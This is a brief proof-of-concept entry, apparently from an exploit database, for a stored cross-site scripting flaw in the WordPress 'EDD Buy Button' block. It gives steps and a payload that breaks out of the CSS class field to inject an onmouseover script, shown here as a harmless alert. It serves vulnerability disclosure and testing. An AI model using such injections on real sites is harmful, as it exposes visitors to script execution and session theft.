## https://sploitus.com/exploit?id=WPEX-ID:3256E090-1131-459D-ADE5-F052CD5D189F
Add the "EDD Buy Button" Gutenberg block to a post and put the payload below in the "Additional CSS class(es)" advanced block settings:
" onmouseover="alert(/XSS/)" style="background:red;"
Note: At least one Download need to exist for the issue to trigger.